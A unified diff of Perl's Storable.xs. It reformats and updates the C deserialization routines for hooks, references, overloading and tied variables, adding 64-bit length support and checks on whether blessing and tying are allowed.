-			Safefree(malloced_classname);
-			return (SV *) 0;
-		}
-	}
+        if (!av_store(cxt->aclass, cxt->classnum++,
+                      newSVpvn(classname, len))) {
+            Safefree(malloced_classname);
+            return (SV *) 0;
+        }
+    }
 
-	TRACEME(("class name: %s", classname));
+    TRACEME(("class name: %s", classname));
 
-	if (!(flags & SHF_IDX_CLASSNAME) && classname != buf) {
-                /* some execution paths can throw an exception */
-		SAVEFREEPV(classname);
-        }
+    /*
+     * Decode user-frozen string length and read it in an SV.
+     *
+     * For efficiency reasons, we read data directly into the SV buffer.
+     * To understand that code, read retrieve_scalar()
+     */
 
-	/*
-	 * Decode user-frozen string length and read it in an SV.
-	 *
-	 * For efficiency reasons, we read data directly into the SV buffer.
-	 * To understand that code, read retrieve_scalar()
-	 */
+#ifdef HAS_U64
+    if (large) {
+        READ_U64(len2);
+    }
+    else
+#endif
+    if (flags & SHF_LARGE_STRLEN) {
+        U32 len32;
+        RLEN(len32);
+        len2 = len32;
+    }
+    else
+        GETMARK(len2);
 
-	if (flags & SHF_LARGE_STRLEN)
-		RLEN(len2);
-	else
-		GETMARK(len2);
+    frozen = NEWSV(10002, len2 ? len2 : 1);
+    if (len2) {
+        SAFEREAD(SvPVX(frozen), len2, frozen);
+    }
+    SvCUR_set(frozen, len2);
+    *SvEND(frozen) = '\0';
+    (void) SvPOK_only(frozen);		/* Validates string pointer */
+    if (cxt->s_tainted)			/* Is input source tainted? */
+        SvTAINT(frozen);
 
-	frozen = NEWSV(10002, len2);
-	if (len2) {
-		SAFEREAD(SvPVX(frozen), len2, frozen);
-		SvCUR_set(frozen, len2);
-		*SvEND(frozen) = '\0';
+    TRACEME(("frozen string: %d bytes", (int)len2));
+
+    /*
+     * Decode object-ID list length, if present.
+     */
+
+    if (flags & SHF_HAS_LIST) {
+        if (flags & SHF_LARGE_LISTLEN) {
+            RLEN(len3);
+	    if (len3 < 0) {
+#ifdef HAS_U64
+	        ++has_large_oids;
+		len3 = -len3;
+#else
+		CROAK(("Large object ids in hook data not supported on 32-bit platforms"));
+#endif
+	        
+	    }
 	}
-	(void) SvPOK_only(frozen);		/* Validates string pointer */
-	if (cxt->s_tainted)				/* Is input source tainted? */
-		SvTAINT(frozen);
+	else
+            GETMARK(len3);
+        if (len3) {
+            av = newAV();
+            av_extend(av, len3 + 1);	/* Leave room for [0] */
+            AvFILLp(av) = len3;		/* About to be filled anyway */
+        }
+    }
 
-	TRACEME(("frozen string: %d bytes", len2));
+    TRACEME(("has %d object IDs to link", (int)len3));
 
-	/*
-	 * Decode object-ID list length, if present.
-	 */
+    /*
+     * Read object-ID list into array.
+     * Because we pre-extended it, we can cheat and fill it manually.
+     *
+     * We read object tags and we can convert them into SV* on the fly
+     * because we know all the references listed in there (as tags)
+     * have been already serialized, hence we have a valid correspondence
+     * between each of those tags and the recreated SV.
+     */
 
-	if (flags & SHF_HAS_LIST) {
-		if (flags & SHF_LARGE_LISTLEN)
-			RLEN(len3);
-		else
-			GETMARK(len3);
-		if (len3) {
-			av = newAV();
-			av_extend(av, len3 + 1);	/* Leave room for [0] */
-			AvFILLp(av) = len3;			/* About to be filled anyway */
-		}
-	}
+    if (av) {
+        SV **ary = AvARRAY(av);
+        int i;
+        for (i = 1; i <= len3; i++) {	/* We leave [0] alone */
+            ntag_t tag;
+            SV **svh;
+            SV *xsv;
 
-	TRACEME(("has %d object IDs to link", len3));
+#ifdef HAS_U64
+	    if (has_large_oids) {
+		READ_U64(tag);
+	    }
+	    else {
+		U32 tmp;
+		READ_I32(tmp);
+		tag = ntohl(tmp);
+	    }
+#else
+	    READ_I32(tag);
+	    tag = ntohl(tag);
+#endif
 
-	/*
-	 * Read object-ID list into array.
-	 * Because we pre-extended it, we can cheat and fill it manually.
-	 *
-	 * We read object tags and we can convert them into SV* on the fly
-	 * because we know all the references listed in there (as tags)
-	 * have been already serialized, hence we have a valid correspondence
-	 * between each of those tags and the recreated SV.
-	 */
+            svh = av_fetch(cxt->aseen, tag, FALSE);
+            if (!svh) {
+                if (tag == cxt->where_is_undef) {
+                    /* av_fetch uses PL_sv_undef internally, hence this
+                       somewhat gruesome hack. */
+                    xsv = &PL_sv_undef;
+                    svh = &xsv;
+                } else {
+                    CROAK(("Object #%" IVdf
+                           " should have been retrieved already",
+                           (IV) tag));
+                }
+            }
+            xsv = *svh;
+            ary[i] = SvREFCNT_inc(xsv);
+        }
+    }
 
-	if (av) {
-		SV **ary = AvARRAY(av);
-		int i;
-		for (i = 1; i <= len3; i++) {	/* We leave [0] alone */
-			I32 tag;
-			SV **svh;
-			SV *xsv;
+    /*
+     * Look up the STORABLE_attach hook
+     * If blessing is disabled, just return what we've got.
+     */
+    if (!(cxt->flags & FLAG_BLESS_OK)) {
+        TRACEME(("skipping bless because flags is %d", cxt->flags));
+        return sv;
+    }
 
-			READ_I32(tag);
-			tag = ntohl(tag);
-			svh = av_fetch(cxt->aseen, tag, FALSE);
-			if (!svh) {
-				if (tag == cxt->where_is_undef) {
-					/* av_fetch uses PL_sv_undef internally, hence this
-					   somewhat gruesome hack. */
-					xsv = &PL_sv_undef;
-					svh = &xsv;
-				} else {
-					CROAK(("Object #%" IVdf
-                                        " should have been retrieved already",
-                                        (IV) tag));
-				}
-			}
-			xsv = *svh;
-			ary[i] = SvREFCNT_inc(xsv);
-		}
-	}
+    /*
+     * Bless the object and look up the STORABLE_thaw hook.
+     */
+    stash = gv_stashpv(classname, GV_ADD);
 
-	/*
-	 * Look up the STORABLE_attach hook
-	 */
-	stash = gv_stashpv(classname, GV_ADD);
+    /* Handle attach case; again can't use pkg_can because it only
+     * caches one method */
+    attach = gv_fetchmethod_autoload(stash, "STORABLE_attach", FALSE);
+    if (attach && isGV(attach)) {
+        SV* attached;
+        SV* attach_hook = newRV_inc((SV*) GvCV(attach));
 
-	/* Handle attach case; again can't use pkg_can because it only
-	 * caches one method */
-	attach = gv_fetchmethod_autoload(stash, "STORABLE_attach", FALSE);
-	if (attach && isGV(attach)) {
-	    SV* attached;
-	    SV* attach_hook = newRV((SV*) GvCV(attach));
+        if (av)
+            CROAK(("STORABLE_attach called with unexpected references"));
+        av = newAV();
+        av_extend(av, 1);
+        AvFILLp(av) = 0;
+        AvARRAY(av)[0] = SvREFCNT_inc(frozen);
+        rv = newSVpv(classname, 0);
+        attached = scalar_call(aTHX_ rv, attach_hook, clone, av, G_SCALAR);
+        /* Free memory after a call */
+        SvREFCNT_dec(rv);
+        SvREFCNT_dec(frozen);
+        av_undef(av);
+        sv_free((SV *) av);
+        SvREFCNT_dec(attach_hook);
+        if (attached &&
+            SvROK(attached) && 
+            sv_derived_from(attached, classname)
+            ) {
+            UNSEE();
+            /* refcnt of unneeded sv is 2 at this point
+               (one from newHV, second from SEEN call) */
+            SvREFCNT_dec(sv);
+            SvREFCNT_dec(sv);
+            /* we need to free RV but preserve value that RV point to */
+            sv = SvRV(attached);
+            SEEN0_NN(sv, 0);
+            SvRV_set(attached, NULL);
+            SvREFCNT_dec(attached);
+            if (!(flags & SHF_IDX_CLASSNAME) && classname != buf)
+                Safefree(classname);
+            return sv;
+        }
+        CROAK(("STORABLE_attach did not return a %s object", classname));
+    }
 
-	    if (av)
-	        CROAK(("STORABLE_attach called with unexpected references"));
-	    av = newAV();
-	    av_extend(av, 1);
-	    AvFILLp(av) = 0;
-	    AvARRAY(av)[0] = SvREFCNT_inc(frozen);
-	    rv = newSVpv(classname, 0);
-	    attached = scalar_call(aTHX_ rv, attach_hook, clone, av, G_SCALAR);
-	    /* Free memory after a call */
-	    SvREFCNT_dec(rv);
-	    SvREFCNT_dec(frozen);
-	    av_undef(av);
-	    sv_free((SV *) av);
-	    SvREFCNT_dec(attach_hook);
-	    if (attached &&
-	        SvROK(attached) && 
-	        sv_derived_from(attached, classname)
-        ) {
-	        UNSEE();
-		/* refcnt of unneeded sv is 2 at this point (one from newHV, second from SEEN call) */
-		SvREFCNT_dec(sv);
-		SvREFCNT_dec(sv);
-		/* we need to free RV but preserve value that RV point to */
-		sv = SvRV(attached);
-		SEEN0_NN(sv, 0);
-		SvRV_set(attached, NULL);
-		SvREFCNT_dec(attached);
-		return sv;
-	    }
-	    CROAK(("STORABLE_attach did not return a %s object", classname));
-	}
+    /*
+     * Bless the object and look up the STORABLE_thaw hook.
+     */
 
-	/*
-	 * Bless the object and look up the STORABLE_thaw hook.
-	 */
+    BLESS(sv, stash);
 
-	BLESS(sv, stash);
+    hook = pkg_can(aTHX_ cxt->hook, stash, "STORABLE_thaw");
+    if (!hook) {
+        /*
+         * Hook not found.  Maybe they did not require the module where this
+         * hook is defined yet?
+         *
+         * If the load below succeeds, we'll be able to find the hook.
+         * Still, it only works reliably when each class is defined in a
+         * file of its own.
+         */
 
-	hook = pkg_can(aTHX_ cxt->hook, stash, "STORABLE_thaw");
-	if (!hook) {
-		/*
-		 * Hook not found.  Maybe they did not require the module where this
-		 * hook is defined yet?
-		 *
-		 * If the load below succeeds, we'll be able to find the hook.
-		 * Still, it only works reliably when each class is defined in a
-		 * file of its own.
-		 */
+        TRACEME(("No STORABLE_thaw defined for objects of class %s", classname));
+        TRACEME(("Going to load module '%s'", classname));
+        load_module(PERL_LOADMOD_NOIMPORT, newSVpv(classname, 0), Nullsv);
 
-		TRACEME(("No STORABLE_thaw defined for objects of class %s", classname));
-		TRACEME(("Going to load module '%s'", classname));
-	        load_module(PERL_LOADMOD_NOIMPORT, newSVpv(classname, 0), Nullsv);
+        /*
+         * We cache results of pkg_can, so we need to uncache before attempting
+         * the lookup again.
+         */
 
-		/*
-		 * We cache results of pkg_can, so we need to uncache before attempting
-		 * the lookup again.
-		 */
+        pkg_uncache(aTHX_ cxt->hook, SvSTASH(sv), "STORABLE_thaw");
+        hook = pkg_can(aTHX_ cxt->hook, SvSTASH(sv), "STORABLE_thaw");
 
-		pkg_uncache(aTHX_ cxt->hook, SvSTASH(sv), "STORABLE_thaw");
-		hook = pkg_can(aTHX_ cxt->hook, SvSTASH(sv), "STORABLE_thaw");
+        if (!hook)
+            CROAK(("No STORABLE_thaw defined for objects of class %s "
+                   "(even after a \"require %s;\")", classname, classname));
+    }
 
-		if (!hook)
-			CROAK(("No STORABLE_thaw defined for objects of class %s "
-					"(even after a \"require %s;\")", classname, classname));
-	}
+    /*
+     * If we don't have an 'av' yet, prepare one.
+     * Then insert the frozen string as item [0].
+     */
 
-	/*
-	 * If we don't have an 'av' yet, prepare one.
-	 * Then insert the frozen string as item [0].
-	 */
+    if (!av) {
+        av = newAV();
+        av_extend(av, 1);
+        AvFILLp(av) = 0;
+    }
+    AvARRAY(av)[0] = SvREFCNT_inc(frozen);
 
-	if (!av) {
-		av = newAV();
-		av_extend(av, 1);
-		AvFILLp(av) = 0;
-	}
-	AvARRAY(av)[0] = SvREFCNT_inc(frozen);
+    /*
+     * Call the hook as:
+     *
+     *   $object->STORABLE_thaw($cloning, $frozen, @refs);
+     *
+     * where $object is our blessed (empty) object, $cloning is a boolean
+     * telling whether we're running a deep clone, $frozen is the frozen
+     * string the user gave us in his serializing hook, and @refs, which may
+     * be empty, is the list of extra references he returned along for us
+     * to serialize.
+     *
+     * In effect, the hook is an alternate creation routine for the class,
+     * the object itself being already created by the runtime.
+     */
 
-	/*
-	 * Call the hook as:
-	 *
-	 *   $object->STORABLE_thaw($cloning, $frozen, @refs);
-	 * 
-	 * where $object is our blessed (empty) object, $cloning is a boolean
-	 * telling whether we're running a deep clone, $frozen is the frozen
-	 * string the user gave us in his serializing hook, and @refs, which may
-	 * be empty, is the list of extra references he returned along for us
-	 * to serialize.
-	 *
-	 * In effect, the hook is an alternate creation routine for the class,
-	 * the object itself being already created by the runtime.
-	 */
+    TRACEME(("calling STORABLE_thaw on %s at 0x%" UVxf " (%" IVdf " args)",
+             classname, PTR2UV(sv), (IV) AvFILLp(av) + 1));
 
-	TRACEME(("calling STORABLE_thaw on %s at 0x%" UVxf " (%" IVdf " args)",
-		 classname, PTR2UV(sv), (IV) AvFILLp(av) + 1));
+    rv = newRV_inc(sv);
+    (void) scalar_call(aTHX_ rv, hook, clone, av, G_SCALAR|G_DISCARD);
+    SvREFCNT_dec(rv);
 
-	rv = newRV(sv);
-	(void) scalar_call(aTHX_ rv, hook, clone, av, G_SCALAR|G_DISCARD);
-	SvREFCNT_dec(rv);
+    /*
+     * Final cleanup.
+     */
 
-	/*
-	 * Final cleanup.
-	 */
+    SvREFCNT_dec(frozen);
+    av_undef(av);
+    sv_free((SV *) av);
+    if (!(flags & SHF_IDX_CLASSNAME) && classname != buf)
+        Safefree(classname);
 
-	SvREFCNT_dec(frozen);
-	av_undef(av);
-	sv_free((SV *) av);
+    /*
+     * If we had an <extra> type, then the object was not as simple, and
+     * we need to restore extra magic now.
+     */
 
-	/*
-	 * If we had an <extra> type, then the object was not as simple, and
-	 * we need to restore extra magic now.
-	 */
+    if (!extra_type)
+        return sv;
 
-	if (!extra_type)
-		return sv;
+    TRACEME(("retrieving magic object for 0x%" UVxf "...", PTR2UV(sv)));
 
-	TRACEME(("retrieving magic object for 0x%" UVxf "...", PTR2UV(sv)));
+    rv = retrieve(aTHX_ cxt, 0);	/* Retrieve <magic object> */
 
-	rv = retrieve(aTHX_ cxt, 0);		/* Retrieve <magic object> */
+    TRACEME(("restoring the magic object 0x%" UVxf " part of 0x%" UVxf,
+             PTR2UV(rv), PTR2UV(sv)));
 
-	TRACEME(("restoring the magic object 0x%" UVxf " part of 0x%" UVxf,
-		PTR2UV(rv), PTR2UV(sv)));
+    switch (extra_type) {
+    case SHT_TSCALAR:
+        sv_upgrade(sv, SVt_PVMG);
+        break;
+    case SHT_TARRAY:
+        sv_upgrade(sv, SVt_PVAV);
+        AvREAL_off((AV *)sv);
+        break;
+    case SHT_THASH:
+        sv_upgrade(sv, SVt_PVHV);
+        break;
+    default:
+        CROAK(("Forgot to deal with extra type %d", extra_type));
+        break;
+    }
 
-	switch (extra_type) {
-	case SHT_TSCALAR:
-		sv_upgrade(sv, SVt_PVMG);
-		break;
-	case SHT_TARRAY:
-		sv_upgrade(sv, SVt_PVAV);
-		AvREAL_off((AV *)sv);
-		break;
-	case SHT_THASH:
-		sv_upgrade(sv, SVt_PVHV);
-		break;
-	default:
-		CROAK(("Forgot to deal with extra type %d", extra_type));
-		break;
-	}
+    /*
+     * Adding the magic only now, well after the STORABLE_thaw hook was called
+     * means the hook cannot know it deals with an object whose variable is
+     * tied.  But this is happening when retrieving $o in the following case:
+     *
+     *	my %h;
+     *  tie %h, 'FOO';
+     *	my $o = bless \%h, 'BAR';
+     *
+     * The 'BAR' class is NOT the one where %h is tied into.  Therefore, as
+     * far as the 'BAR' class is concerned, the fact that %h is not a REAL
+     * hash but a tied one should not matter at all, and remain transparent.
+     * This means the magic must be restored by Storable AFTER the hook is
+     * called.
+     *
+     * That looks very reasonable to me, but then I've come up with this
+     * after a bug report from David Nesting, who was trying to store such
+     * an object and caused Storable to fail.  And unfortunately, it was
+     * also the easiest way to retrofit support for blessed ref to tied objects
+     * into the existing design.  -- RAM, 17/02/2001
+     */
 
-	/*
-	 * Adding the magic only now, well after the STORABLE_thaw hook was called
-	 * means the hook cannot know it deals with an object whose variable is
-	 * tied.  But this is happening when retrieving $o in the following case:
-	 *
-	 *	my %h;
-	 *  tie %h, 'FOO';
-	 *	my $o = bless \%h, 'BAR';
-	 *
-	 * The 'BAR' class is NOT the one where %h is tied into.  Therefore, as
-	 * far as the 'BAR' class is concerned, the fact that %h is not a REAL
-	 * hash but a tied one should not matter at all, and remain transparent.
-	 * This means the magic must be restored by Storable AFTER the hook is
-	 * called.
-	 *
-	 * That looks very reasonable to me, but then I've come up with this
-	 * after a bug report from David Nesting, who was trying to store such
-	 * an object and caused Storable to fail.  And unfortunately, it was
-	 * also the easiest way to retrofit support for blessed ref to tied objects
-	 * into the existing design.  -- RAM, 17/02/2001
-	 */
+    sv_magic(sv, rv, mtype, (char *)NULL, 0);
+    SvREFCNT_dec(rv);			/* Undo refcnt inc from sv_magic() */
 
-	sv_magic(sv, rv, mtype, (char *)NULL, 0);
-	SvREFCNT_dec(rv);			/* Undo refcnt inc from sv_magic() */
+    return sv;
+}
 
-	return sv;
+static SV *retrieve_hook(pTHX_ stcxt_t *cxt, const char *cname) {
+    return retrieve_hook_common(aTHX_ cxt, cname, FALSE);
 }
 
 /*
@@ -4553,61 +5358,64 @@
  */
 static SV *retrieve_ref(pTHX_ stcxt_t *cxt, const char *cname)
 {
-	SV *rv;
-	SV *sv;
-	HV *stash;
+    SV *rv;
+    SV *sv;
+    HV *stash;
 
-	TRACEME(("retrieve_ref (#%d)", cxt->tagnum));
+    TRACEME(("retrieve_ref (#%d)", (int)cxt->tagnum));
 
-	/*
-	 * We need to create the SV that holds the reference to the yet-to-retrieve
-	 * object now, so that we may record the address in the seen table.
-	 * Otherwise, if the object to retrieve references us, we won't be able
-	 * to resolve the SX_OBJECT we'll see at that point! Hence we cannot
-	 * do the retrieve first and use rv = newRV(sv) since it will be too late
-	 * for SEEN() recording.
-	 */
+    /*
+     * We need to create the SV that holds the reference to the yet-to-retrieve
+     * object now, so that we may record the address in the seen table.
+     * Otherwise, if the object to retrieve references us, we won't be able
+     * to resolve the SX_OBJECT we'll see at that point! Hence we cannot
+     * do the retrieve first and use rv = newRV(sv) since it will be too late
+     * for SEEN() recording.
+     */
 
-	rv = NEWSV(10002, 0);
-	if (cname)
-		stash = gv_stashpv(cname, GV_ADD);
-	else
-		stash = 0;
-	SEEN_NN(rv, stash, 0);				/* Will return if rv is null */
-	sv = retrieve(aTHX_ cxt, 0);	/* Retrieve <object> */
-	if (!sv)
-		return (SV *) 0;	/* Failed */
+    rv = NEWSV(10002, 0);
+    if (cname)
+        stash = gv_stashpv(cname, GV_ADD);
+    else
+        stash = 0;
+    SEEN_NN(rv, stash, 0);	/* Will return if rv is null */
+    sv = retrieve(aTHX_ cxt, 0);/* Retrieve <object> */
+    if (!sv)
+        return (SV *) 0;	/* Failed */
 
-	/*
-	 * WARNING: breaks RV encapsulation.
-	 *
-	 * Now for the tricky part. We have to upgrade our existing SV, so that
-	 * it is now an RV on sv... Again, we cheat by duplicating the code
-	 * held in newSVrv(), since we already got our SV from retrieve().
-	 *
-	 * We don't say:
-	 *
-	 *		SvRV(rv) = SvREFCNT_inc(sv);
-	 *
-	 * here because the reference count we got from retrieve() above is
-	 * already correct: if the object was retrieved from the file, then
-	 * its reference count is one. Otherwise, if it was retrieved via
-	 * an SX_OBJECT indication, a ref count increment was done.
-	 */
+    /*
+     * WARNING: breaks RV encapsulation.
+     *
+     * Now for the tricky part. We have to upgrade our existing SV, so that
+     * it is now an RV on sv... Again, we cheat by duplicating the code
+     * held in newSVrv(), since we already got our SV from retrieve().
+     *
+     * We don't say:
+     *
+     *		SvRV(rv) = SvREFCNT_inc(sv);
+     *
+     * here because the reference count we got from retrieve() above is
+     * already correct: if the object was retrieved from the file, then
+     * its reference count is one. Otherwise, if it was retrieved via
+     * an SX_OBJECT indication, a ref count increment was done.
+     */
 
-	if (cname) {
-		/* No need to do anything, as rv will already be PVMG.  */
-		assert (SvTYPE(rv) == SVt_RV || SvTYPE(rv) >= SVt_PV);
-	} else {
-		sv_upgrade(rv, SVt_RV);
-	}
+    if (cname) {
+        /* No need to do anything, as rv will already be PVMG.  */
+        assert (SvTYPE(rv) == SVt_RV || SvTYPE(rv) >= SVt_PV);
+    } else {
+        sv_upgrade(rv, SVt_RV);
+    }
 
-	SvRV_set(rv, sv);				/* $rv = \$sv */
-	SvROK_on(rv);
+    SvRV_set(rv, sv);		/* $rv = \$sv */
+    SvROK_on(rv);
+    /*if (cxt->entry && ++cxt->ref_cnt > MAX_REF_CNT) {
+        CROAK(("Max. recursion depth with nested refs exceeded"));
+    }*/
 
-	TRACEME(("ok (retrieve_ref at 0x%" UVxf ")", PTR2UV(rv)));
+    TRACEME(("ok (retrieve_ref at 0x%" UVxf ")", PTR2UV(rv)));
 
-	return rv;
+    return rv;
 }
 
 /*
@@ -4618,19 +5426,19 @@
  */
 static SV *retrieve_weakref(pTHX_ stcxt_t *cxt, const char *cname)
 {
-	SV *sv;
+    SV *sv;
 
-	TRACEME(("retrieve_weakref (#%d)", cxt->tagnum));
+    TRACEME(("retrieve_weakref (#%d)", (int)cxt->tagnum));
 
-	sv = retrieve_ref(aTHX_ cxt, cname);
-	if (sv) {
+    sv = retrieve_ref(aTHX_ cxt, cname);
+    if (sv) {
 #ifdef SvWEAKREF
-		sv_rvweaken(sv);
+        sv_rvweaken(sv);
 #else
-		WEAKREF_CROAK();
+        WEAKREF_CROAK();
 #endif
-	}
-	return sv;
+    }
+    return sv;
 }
 
 /*
@@ -4641,63 +5449,63 @@
  */
 static SV *retrieve_overloaded(pTHX_ stcxt_t *cxt, const char *cname)
 {
-	SV *rv;
-	SV *sv;
-	HV *stash;
+    SV *rv;
+    SV *sv;
+    HV *stash;
 
-	TRACEME(("retrieve_overloaded (#%d)", cxt->tagnum));
+    TRACEME(("retrieve_overloaded (#%d)", (int)cxt->tagnum));
 
-	/*
-	 * Same code as retrieve_ref(), duplicated to avoid extra call.
-	 */
+    /*
+     * Same code as retrieve_ref(), duplicated to avoid extra call.
+     */
 
-	rv = NEWSV(10002, 0);
-	stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
-	SEEN_NN(rv, stash, 0);		/* Will return if rv is null */
-	cxt->in_retrieve_overloaded = 1; /* so sv_bless doesn't call S_reset_amagic */
-	sv = retrieve(aTHX_ cxt, 0);	/* Retrieve <object> */
-	cxt->in_retrieve_overloaded = 0;
-	if (!sv)
-		return (SV *) 0;	/* Failed */
+    rv = NEWSV(10002, 0);
+    stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
+    SEEN_NN(rv, stash, 0);	     /* Will return if rv is null */
+    cxt->in_retrieve_overloaded = 1; /* so sv_bless doesn't call S_reset_amagic */
+    sv = retrieve(aTHX_ cxt, 0);     /* Retrieve <object> */
+    cxt->in_retrieve_overloaded = 0;
+    if (!sv)
+        return (SV *) 0;	/* Failed */
 
-	/*
-	 * WARNING: breaks RV encapsulation.
-	 */
+    /*
+     * WARNING: breaks RV encapsulation.
+     */
 
-	SvUPGRADE(rv, SVt_RV);
-	SvRV_set(rv, sv);				/* $rv = \$sv */
-	SvROK_on(rv);
+    SvUPGRADE(rv, SVt_RV);
+    SvRV_set(rv, sv);		/* $rv = \$sv */
+    SvROK_on(rv);
 
-	/*
-	 * Restore overloading magic.
-	 */
+    /*
+     * Restore overloading magic.
+     */
 
-	stash = SvTYPE(sv) ? (HV *) SvSTASH (sv) : 0;
-	if (!stash) {
-		CROAK(("Cannot restore overloading on %s(0x%" UVxf
-		       ") (package <unknown>)",
-		       sv_reftype(sv, FALSE),
-		       PTR2UV(sv)));
-	}
-	if (!Gv_AMG(stash)) {
-	        const char *package = HvNAME_get(stash);
-		TRACEME(("No overloading defined for package %s", package));
-		TRACEME(("Going to load module '%s'", package));
-		load_module(PERL_LOADMOD_NOIMPORT, newSVpv(package, 0), Nullsv);
-		if (!Gv_AMG(stash)) {
-			CROAK(("Cannot restore overloading on %s(0x%" UVxf
-			       ") (package %s) (even after a \"require %s;\")",
-			       sv_reftype(sv, FALSE),
-			       PTR2UV(sv),
-			       package, package));
-		}
-	}
+    stash = SvTYPE(sv) ? (HV *) SvSTASH (sv) : 0;
+    if (!stash) {
+        CROAK(("Cannot restore overloading on %s(0x%" UVxf
+               ") (package <unknown>)",
+               sv_reftype(sv, FALSE),
+               PTR2UV(sv)));
+    }
+    if (!Gv_AMG(stash)) {
+        const char *package = HvNAME_get(stash);
+        TRACEME(("No overloading defined for package %s", package));
+        TRACEME(("Going to load module '%s'", package));
+        load_module(PERL_LOADMOD_NOIMPORT, newSVpv(package, 0), Nullsv);
+        if (!Gv_AMG(stash)) {
+            CROAK(("Cannot restore overloading on %s(0x%" UVxf
+                   ") (package %s) (even after a \"require %s;\")",
+                   sv_reftype(sv, FALSE),
+                   PTR2UV(sv),
+                   package, package));
+        }
+    }
 
-	SvAMAGIC_on(rv);
+    SvAMAGIC_on(rv);
 
-	TRACEME(("ok (retrieve_overloaded at 0x%" UVxf ")", PTR2UV(rv)));
+    TRACEME(("ok (retrieve_overloaded at 0x%" UVxf ")", PTR2UV(rv)));
 
-	return rv;
+    return rv;
 }
 
 /*
@@ -4708,19 +5516,19 @@
  */
 static SV *retrieve_weakoverloaded(pTHX_ stcxt_t *cxt, const char *cname)
 {
-	SV *sv;
+    SV *sv;
 
-	TRACEME(("retrieve_weakoverloaded (#%d)", cxt->tagnum));
+    TRACEME(("retrieve_weakoverloaded (#%d)", (int)cxt->tagnum));
 
-	sv = retrieve_overloaded(aTHX_ cxt, cname);
-	if (sv) {
+    sv = retrieve_overloaded(aTHX_ cxt, cname);
+    if (sv) {
 #ifdef SvWEAKREF
-		sv_rvweaken(sv);
+        sv_rvweaken(sv);
 #else
-		WEAKREF_CROAK();
+        WEAKREF_CROAK();
 #endif
-	}
-	return sv;
+    }
+    return sv;
 }
 
 /*
@@ -4731,27 +5539,30 @@
  */
 static SV *retrieve_tied_array(pTHX_ stcxt_t *cxt, const char *cname)
 {
-	SV *tv;
-	SV *sv;
-	HV *stash;
+    SV *tv;
+    SV *sv;
+    HV *stash;
 
-	TRACEME(("retrieve_tied_array (#%d)", cxt->tagnum));
+    TRACEME(("retrieve_tied_array (#%d)", (int)cxt->tagnum));
 
-	tv = NEWSV(10002, 0);
-	stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
-	SEEN_NN(tv, stash, 0);			/* Will return if tv is null */
-	sv = retrieve(aTHX_ cxt, 0);		/* Retrieve <object> */
-	if (!sv)
-		return (SV *) 0;		/* Failed */
+    if (!(cxt->flags & FLAG_TIE_OK)) {
+        CROAK(("Tying is disabled."));
+    }
 
-	sv_upgrade(tv, SVt_PVAV);
-	AvREAL_off((AV *)tv);
-	sv_magic(tv, sv, 'P', (char *)NULL, 0);
-	SvREFCNT_dec(sv);			/* Undo refcnt inc from sv_magic() */
+    tv = NEWSV(10002, 0);
+    stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
+    SEEN_NN(tv, stash, 0);		/* Will return if tv is null */
+    sv = retrieve(aTHX_ cxt, 0);	/* Retrieve <object> */
+    if (!sv)
+        return (SV *) 0;		/* Failed */
 
-	TRACEME(("ok (retrieve_tied_array at 0x%" UVxf ")", PTR2UV(tv)));
+    sv_upgrade(tv, SVt_PVAV);
+    sv_magic(tv, sv, 'P', (char *)NULL, 0);
+    SvREFCNT_dec(sv);			/* Undo refcnt inc from sv_magic() */
 
-	return tv;
+    TRACEME(("ok (retrieve_tied_array at 0x%" UVxf ")", PTR2UV(tv)));
+
+    return tv;
 }
 
 /*
@@ -4762,26 +5573,30 @@
  */
 static SV *retrieve_tied_hash(pTHX_ stcxt_t *cxt, const char *cname)
 {
-	SV *tv;
-	SV *sv;
-	HV *stash;
+    SV *tv;
+    SV *sv;
+    HV *stash;
 
-	TRACEME(("retrieve_tied_hash (#%d)", cxt->tagnum));
+    TRACEME(("retrieve_tied_hash (#%d)", (int)cxt->tagnum));
 
-	tv = NEWSV(10002, 0);
-	stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
-	SEEN_NN(tv, stash, 0);			/* Will return if tv is null */
-	sv = retrieve(aTHX_ cxt, 0);		/* Retrieve <object> */
-	if (!sv)
-		return (SV *) 0;		/* Failed */
+    if (!(cxt->flags & FLAG_TIE_OK)) {
+        CROAK(("Tying is disabled."));
+    }
 
-	sv_upgrade(tv, SVt_PVHV);
-	sv_magic(tv, sv, 'P', (char *)NULL, 0);
-	SvREFCNT_dec(sv);			/* Undo refcnt inc from sv_magic() */
+    tv = NEWSV(10002, 0);
+    stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
+    SEEN_NN(tv, stash, 0);		/* Will return if tv is null */
+    sv = retrieve(aTHX_ cxt, 0);	/* Retrieve <object> */
+    if (!sv)
+        return (SV *) 0;		/* Failed */
 
-	TRACEME(("ok (retrieve_tied_hash at 0x%" UVxf ")", PTR2UV(tv)));
+    sv_upgrade(tv, SVt_PVHV);
+    sv_magic(tv, sv, 'P', (char *)NULL, 0);
+    SvREFCNT_dec(sv);			/* Undo refcnt inc from sv_magic() */
 
-	return tv;
+    TRACEME(("ok (retrieve_tied_hash at 0x%" UVxf ")", PTR2UV(tv)));
+
+    return tv;
 }
 
 /*
@@ -4792,34 +5607,38 @@
  */
 static SV *retrieve_tied_scalar(pTHX_ stcxt_t *cxt, const char *cname)
 {
-	SV *tv;
-	SV *sv, *obj = NULL;
-	HV *stash;
+    SV *tv;
+    SV *sv, *obj = NULL;
+    HV *stash;
 
-	TRACEME(("retrieve_tied_scalar (#%d)", cxt->tagnum));
+    TRACEME(("retrieve_tied_scalar (#%d)", (int)cxt->tagnum));
 
-	tv = NEWSV(10002, 0);
-	stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
-	SEEN_NN(tv, stash, 0);			/* Will return if rv is null */
-	sv = retrieve(aTHX_ cxt, 0);		/* Retrieve <object> */
-	if (!sv) {
-		return (SV *) 0;		/* Failed */
-	}
-	else if (SvTYPE(sv) != SVt_NULL) {
-		obj = sv;
-	}
+    if (!(cxt->flags & FLAG_TIE_OK)) {
+        CROAK(("Tying is disabled."));
+    }
 
-	sv_upgrade(tv, SVt_PVMG);
-	sv_magic(tv, obj, 'q', (char *)NULL, 0);
+    tv = NEWSV(10002, 0);
+    stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
+    SEEN_NN(tv, stash, 0);		/* Will return if rv is null */
+    sv = retrieve(aTHX_ cxt, 0);	/* Retrieve <object> */
+    if (!sv) {
+        return (SV *) 0;		/* Failed */
+    }
